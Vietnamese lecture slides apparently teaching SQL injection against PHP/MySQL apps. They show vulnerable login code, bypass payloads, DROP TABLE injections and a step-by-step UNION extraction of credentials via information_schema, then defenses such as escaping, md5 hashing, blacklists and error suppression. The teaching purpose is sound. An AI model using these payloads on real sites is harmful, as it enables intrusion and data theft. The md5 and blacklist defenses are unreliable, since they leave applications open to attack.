BẢO MẬT ỨNG DỤNG WEB

SQL INJECTION

Nguyễn Hữu Thể

SQL Injection

 Hình thức tấn công vào câu lệnh SQL.  attacker chèn câu lệnh vào SQL của chương trình

• => khai thác dữ liệu.

 Khai thác lỗi: các ứng dụng web với backend:

• Không sử dụng data object • Dùng kết nối query thuần • Các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về

2

SQL Injection

❖ Các dạng lỗi thường gặp:  Không kiểm tra ký tự thoát truy vấn  Xử lý không đúng kiểu  Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu  Blind SQL Injection

3

Các dạng tấn công SQL injection

 Dạng tấn công vượt qua kiểm tra đăng nhập  Dạng tấn công sử dụng câu lệnh SELECT  Dạng tấn công sử dụng câu lệnh INSERT  Dạng tấn công sử dụng stored-procedures

4

Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)

 Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL.  Ví dụ: table users như sau:

CREATE TABLE users (

id INT NOT NULL AUTO_INCREMENT, username VARCHAR(100) NULL, password VARCHAR(50) NULL, PRIMARY KEY (id) );

INSERT INTO users (username, password) VALUES ('aaa', '123456'); INSERT INTO users (username, password) VALUES ('bbb', '123456');

5

Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)

Username Password

Câu truy vấn nhận dữ liệu:

$sql = "SELECT * FROM users

AND password = '" . $_POST['password']. "'";

6

WHERE username = '".$_POST[‘username']."'

Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)

require 'dbcon.php';

$sql = "SELECT * FROM users WHERE username = '".$_POST['username']."' AND password = '" . $_POST['password']. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)

echo "
Thành công";

else

echo "
Thất bại";

mysqli_close($conn);

Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)

Đăng nhập: - Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ] - Nhập vào ô password: khongbiet

SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1 -- ]' AND password = 'khongbiet'

Kết quả truy vấn:

SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1

8

Tương đương:

Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)

Đăng nhập thành công

TH1: Nhập đúng username và password

Đăng nhập thành công

9

TH2: không biết username và password

Dạng tấn công sử dụng câu lệnh SELECT

 Lợi dụng các sơ hở trong các thông báo lỗi từ hệ

thống • => Dò tìm các điểm yếu khởi đầu cho việc tấn công.

 Thông thường:

• Sẽ có một trang nhận ID của tin cần hiển thị • Sau đó truy vấn nội dung của tin có ID này • Hoặc ô nhập liệu tìm kiếm

10

Dạng tấn công sử dụng câu lệnh SELECT

 Ví dụ:

CREATE TABLE monhoc ( maMon varchar(8) NOT NULL PRIMARY KEY, tenMon varchar(100) NOT NULL, soTC int(11) NOT NULL );

INSERT INTO monhoc (maMon, tenMon, soTC) VALUES ('03021003', 'Tin học cơ sở', 4), ('03021004', 'Nhập môn lập trình', 4), ('03021005', 'Phương pháp lập trình hướng đối tượng', 4);

11

Dạng tấn công sử dụng câu lệnh SELECT

Nhập tênmôn:

Kết quả truy vấn nhận dữ liệu:

$sql = "SELECT * FROM monhoc

WHERE tenMon = '".$_POST[‘tenmon']."'";

SELECT * FROM monhoc WHERE tenMon = ‘Tin học'

12

Dạng tấn công sử dụng câu lệnh SELECT

$sql = "SELECT * FROM monhoc

WHERE tenMon like '%".$_POST['tenmon']."%'";

echo "Mã môn: {$row['maMon']}. Tên môn: {$row['tenMon']}
";

echo "Câu truy vấn là: " . $sql. "
"; $result = mysqli_query($conn, $sql); while($row = mysqli_fetch_array($result)) {

13

} mysqli_close($conn); ?>

Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021003. Tên môn: Tin học cơ sở

14

Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021004. Tên môn: Nhập môn lập trình Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng

15

Dạng tấn công sử dụng câu lệnh SELECT

Mã môn: 03021003. Tên môn: Tin học cơ sở Mã môn: 03021004. Tên môn: Nhập môn lập trình Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng

SELECT * FROM monhoc WHERE tenMon = 'a' or 1=1-- '

16

Dạng tấn công sử dụng câu lệnh SELECT

Câu lệnh Union: kết hợp 2 table cùng số cột

SELECT * FROM users Union SELECT * From monhoc

17

Dạng tấn công sử dụng câu lệnh SELECT

http://localhost/MyPhamOnline/php/index.php?function=sanphamchitiet&id=1

Liệt kê 1 dữ liệu có trong table

18

Dạng tấn công sử dụng câu lệnh SELECT

http://localhost/MyPhamOnline/php/index2.php?function=sanphamchitiet&id=0 or 1=1 --

Liệt kê tất cả dữ liệu có trong table

19

Dạng tấn công sử dụng câu lệnh SELECT Thực hiện nhiều truy vấn cùng lúc

Giả sử câu truy vấn có dạng:

$sql = "SELECT * FROM monhoc WHERE maMon = '" . $mamon . "'";

Người tấn công có thể nhập dữ liệu như sau:

a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1

SELECT * FROM monhoc WHERE maMon = 'a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1'

20

Câu truy vấn sau khi nhận dữ liệu như sau:

Dạng tấn công sử dụng câu lệnh SELECT Xử lý không đúng kiểu

Không kiểm tra và lọc kiểu dữ liệu đầu vào là số hay chuỗi

$sql = "SELECT * FROM monhoc WHERE maMon = " . $mamon ;

Người tấn công có thể nhập dữ liệu như sau:

1; DROP TABLE users

Câu truy vấn sau khi nhận dữ liệu như sau:

21

SELECT * FROM monhoc WHERE maMon =1; DROP TABLE users

Dạng tấn công sử dụng câu lệnh SELECT Thay đổi giá trị điều kiện truy vấn

Thay đổi giá trị điều kiện trong câu truy vấn  làm sai lệch kết quả hiển thị của ứng dụng chứa lỗi này.

Ví dụ: câu truy vấn bình thường:

SELECT * from Users where username= ‘aaa’ AND 1=1;

Câu truy vấn thay đổi:

SELECT * from Users where username= ‘aaa’ AND 1=2;

=> Sẽ hiển thị một nội dung khác, hoặc không hiển thị.

22

Dạng tấn công sử dụng câu lệnh INSERT

 Lợi dụng chức năng đăng ký tài khoản.

• => hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.

 Ví dụ: Khi câu lệnh INSERT có dạng:

 Nếu nhập vào trường thứ nhất:

INSERT INTO TableName VALUES(‘Value One’, ‘Value Two’, ‘Value Three’)

 Câu truy vấn sẽ là:

‘ + (SELECT TOP 1 FieldName FROM TableName) +’

 Chương trình sẽ thực thi 2 lệnh đồng thời: Insert, Select:

INSERT INTO TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ ‘, ‘aaa, ‘bbb’)

23

SELECT TOP 1 FieldName FROM TableName

Dạng tấn công sử dụng stored-procedures

 A

24

BÀI TẬP

 Table:  LoaiSanPham(maloai, tenloai)  SanPham(masp, tensp, mota, gia, maloai)

25

BÀI TẬP

Dữ liệu ngành trong tuyển sinh  Users(userid, username, password, level)  NganhHoc(manganh, tennganh, chitieu)

Mã ngành

Tìm

 TH: Giao diện có 1 ô nhập liệu, bắt buộc nhập mới có thể

tìm. Hãy tìm cách để có thể: • a/ Liệt kê tất cả các dữ liệu trong table NganhHoc,

bỏ qua lệnh xử lý truy vấn tìm.

• b/ Liệt kê tất cả dữ liệu trong table có tên Users • c/ Cập nhật chỉ tiêu của ngành học có mã ngành 101

thành 500.

26

BÀI TẬP

 Dữ liệu ngành trong tuyển sinh  NganhHoc(manganh, tennganh, chitieu)

 TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử dụng được giao diện thêm, không vào được giao diện SỬA. Hãy tìm những cách có thể giúp người dùng sửa được chỉ tiêu của ngành có mã 102 thành 500.

Mã ngành

Tên ngành Chỉ tiêu

Thêm

27

Name

Information Functions Description

CHARSET()

Return the character set of the argument

COERCIBILITY()

Return the collation coercibility value of the string argument

COLLATION()

Return the collation of the string argument

CONNECTION_ID()

Return the connection ID (thread ID) for the connection

The authenticated user name and host name

CURRENT_USER(), CURRENT_USER

DATABASE()

Return the default (current) database name

FOUND_ROWS()

For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause

LAST_INSERT_ID()

Value of the AUTOINCREMENT column for the last INSERT

ROW_COUNT()

The number of rows updated

SCHEMA()

Synonym for DATABASE()

SESSION_USER()

Synonym for USER()

SYSTEM_USER()

Synonym for USER()

USER()

The user name and host name provided by the client

VERSION()

Return a string that indicates the MySQL server version

28

Lệnh truy vấn database

 Xem version database

• MySQL:

• SELECT version(); • SELECT @@version;

 Xem tên database:

• MySQL

• SELECT DATABASE()

29

Lệnh truy vấn database

 Xem USER

• SELECT USER()

30

GOM NHÓM DỮ LIỆU

 Gom nhóm theo tên table

• group_concat(table_name)

 Gom nhóm theo tên cột

• group_concat(table_column)

31

INFORMATION_SCHEMA

 Information_schema là một database có sẵn trong hệ quản trị

cơ sở dữ liệu MySQL và MSSQL.

 Hai trong số các table trong information_schema

information_schema.tables: Thông tin về tất cả các bảng có trong tất các database. information_schema.columns: Thông tin về tất cả các cột có trong tất các database.

32

➢ Sử dụng information_schema.tables để lấy tên tất cả các bảng trong CSDL

Trang web mục tiêu Địa chỉ có dạng: index.php?id=1

33

Thử khai thác lỗi: id=1’ (Hoặc: id=1 and 1=0) => Lỗi dòng 18

34

Dùng Order By để xác định số cột id=1 order by 10 --

35

Dùng Order By để xác định số cột id=1 order by 11 – => Lỗi dòng 18 =>Table có 10 cột

36

Kết hợp lệnh Union id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- => Phát hiện cột nào có thể tấn công (Theo hình là cột: 4, 8)

37

Tìm version dựa vào cột 4 id=-1 UNION SELECT 1,2,3,version(),5,6,7,8,9,10 --

38

Tìm tên database dựa vào cột 4 id=-1 UNION SELECT 1,2,3, database(),5,6,7,8,9,10 --

39

Tìm User đang quản trị id=-1 UNION SELECT 1,2,3, user(),5,6,7,8,9,10 --

40

id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8,9,10 From information_schema.tables Where table_schema=database() --

Kết quả: danh sách tên table như hình

41

Tìm cột trong table taikhoan:

id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10 From information_schema.columns Where table_name=taikhoan--

=>Lỗi => Cần chuyển taikhoan sang ASCII

42

Tìm cột trong table taikhoan:

id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10 From information_schema.columns Where table_name=CHAR(116, 97, 105, 107, 104, 111, 97, 110) --

Với CHAR(116, 97, 105, 107, 104, 111, 97, 110) là mã ASCII của taikhoan

43

Tìm cột trong table taikhoan:

id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(tk_ten_dangnhap, tk_matkhau))),5,6,7,8,9,10 From taikhoan--

44

Tìm cột trong table taikhoan:

id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(tk_ten_dangnhap, 0x3a, tk_matkhau))),5,6,7,8,9,10 From taikhoan--

Với 0x3a: ký tự hai chấm

45

BÀI TẬP Trình bày các bước kiểm tra 1 link website có khả năng bị lỗi SQL Injection? Viết các câu lệnh liệt kê thông tin từ 1 table (nếu trang có lỗ hỏng)?

Link mục tiêu: www.test.vn/sanpham.php?maso=101

1. Kiểm tra link có khả năng bị lỗi hay không? => Dựa vào thông tin nào? 2. Kiểm tra table đang trình bày thông tin này có mấy cột?

▪ Giả sử table có 12 cột

3. Kiểm tra cột nào trong table có thể bị xâm nhập? ▪ Giả sử phát hiện cột số 5 và cột số 7

4. Kiểm tra vesion của hệ quản trị CSDL? 5. Kiểm tra tên database của hệ quản trị CSDL? 6. Kiểm tra user nào trong hệ quản trị CSDL quản lý database này? 7. Liệt kê danh sách table có trong database của web?

▪ Giả sử có các table: tblsanpham, tblloai, tbltaikhoan,…

8. Liệt kê danh sách các cột từ 1 table bất kỳ tìm thấy?

▪ Giả sử: tbltaikhoan(hoten, tendangnhap, matkhau, email, quyen)

46

9. Liệt kê nội dung trong 2 cột đã tìm thấy ở bước 8.

BÀI TẬP

 Dữ liệu ngành trong tuyển sinh  NganhHoc(manganh, tennganh, chitieu)

 TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử dụng được giao diện thêm, không vào được giao diện SỬA. Hãy tìm những cách có thể giúp người dùng sửa được chỉ tiêu của ngành có mã 102 thành 500.

Mã ngành

Tên ngành Chỉ tiêu

Thêm

47

SQL INJECTION VÀ KHẮC PHỤC

Ví dụ, đoạn code kiểm tra đăng nhập như sau:

echo "
Thành công";

$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)

else

echo "
Thất bại";

mysqli_close($conn);

SQL INJECTION VÀ KHẮC PHỤC

 Thử tấn công bằng SQL Injection

• TH 1: biết tên username

Username: admin Password: ' OR '1'='1

49

// Câu truy vấn là: select * from users where username='admin' and password='' OR '1'='1'

SQL INJECTION VÀ KHẮC PHỤC

 Thử tấn công bằng SQL Injection

• TH 2: không biết tên username và password

Username: ' OR '1'='1 Password: ' OR '1'='1

// Câu truy vấn là: select * from users where username='' OR '1'='1' and password='' OR '1'='1'

Hoặc: Username: khongbiet' OR 1 = 1 -- Password: khongbiet

50

SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1

PHÒNG CHỐNG SQL INJECTION

 TH1: mysql_real_escape_string()

• Xóa các ký tự đặc biệt trong các dữ liệu đầu vào (dấu nháy

đơn)

require 'dbcon.php';

$username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)

echo "
Thành công";

echo "
Thất bại";

51

else

mysqli_close($conn);

PHÒNG CHỐNG SQL INJECTION

 TH2: md5()

• mã hóa toàn bộ username và password

require 'dbcon.php';

$username = md5($_POST['username']); $password = md5($_POST['password']); $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)

echo "
Thành công";

else

echo "
Thất bại";

52

mysqli_close($conn);

SQL Infection không thực hiện được => vì đã mã hóa ra chuỗi ký tự => Việc chèn thêm các ký tự bị vô hiệu

PHÒNG CHỐNG SQL INJECTION

 Kiểm tra dữ liệu kiểu chuỗi

• Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH.

các

• Lọc bỏ ký tự nguy hiểm, lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng hàm như mysql_real_escape_string(), preg_replace(), addslashes(), htmlspecialchars(),…)

• Viết các biểu thức chính qui (Regular Expression) cho mỗi

định dạng: email, username,…

53

PHÒNG CHỐNG SQL INJECTION

mysql_real_escape_string(String)  Hàm thư viện MySQL  Thêm dấu gạch chéo trước các ký tự đặc biệt:

\x00, \n, \r, \, ', " và \x1a

• • Ví dụ: mysqli_real_escape_string(“A' OR 1=1 --”)

A\' OR 1=1 --

54

PHÒNG CHỐNG SQL INJECTION

addslashes( $str ) Thêm dấu gạch chéo trước những ký tự (‘, “, \) trong chuỗi $str.

echo addslashes ("This's a text");

Kết quả: This\'s a text

55

PHÒNG CHỐNG SQL INJECTION

htmlentities($str) Chuyển các thẻ html trong chuỗi $str sang dạng Entities. Result Description

Entity Name Entity Number

< less than < <

> greater than > >

& ampersand & &

'

single quotation mark

'

'

echo htmlentities("This's a text");

56

This's a text

" double quotation mark " "

PHÒNG CHỐNG SQL INJECTION

md5( $str) Mã hóa chuỗi thành một dãy 32 ký tự (mã hóa md5).

echo md5("123456");

e10adc3949ba59abbe56e057f20f883e

57

PHÒNG CHỐNG SQL INJECTION

sha1($string) Mã hóa chuỗi thành một dãy 40 ký tự

echo sha1("123456");

7c4a8d09ca3762af61e59520943dc26494f8941b

58

PHÒNG CHỐNG SQL INJECTION

str_replace($chuoi_tim, $chuoi_thay_the, $chuoi_nguon )

Tìm kiếm và thay thế chuỗi

echo str_replace( "--", "", "Loai bo ky tu --" );

Loai bo ky tu

59

PHÒNG CHỐNG SQL INJECTION

Strlen(String) Lấy chiều dài chuỗi

$s = "CNTT"; echo "Chiều dài của chuỗi: ".strlen($s);

Chiều dài của chuỗi: 4

60

PHÒNG CHỐNG SQL INJECTION

 Kiểm tra dữ liệu kiểu số

is_numeric($var) is_int($var) is_integer($var)

 Ép kiểu: nếu dữ liệu nhận xử lý là kiểu số

$id = (int)$_POST['id'];

hoặc

$id = (int)$_GET['id'];

61

PHÒNG CHỐNG SQL INJECTION

 Ngăn chặn các thông báo lỗi gửi từ máy chủ: bằng

cách thêm ký tự @ trước câu lệnh SQL.

$id = $_GET[id]; mysql_query("SELECT * FROM tbl_name WHERE id=$id");

62

$id = $_GET[id]; @mysql_query("SELECT * FROM tbl_name WHERE id=$id");

Bài tập: Hãy liệt kê tất cả các phương pháp chống SQL Injection bạn biết

Username Password

63

require 'dbcon.php'; $tendangnhap = $_POST['tendangnhap']; $matkhau = $_POST[‘matkhau']; $sql = "SELECT * FROM users WHERE username = '". $tendangnhap ."' AND password = '" . $matkhau. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row) echo "
Thành công"; else echo "
Thất bại"; mysqli_close($conn);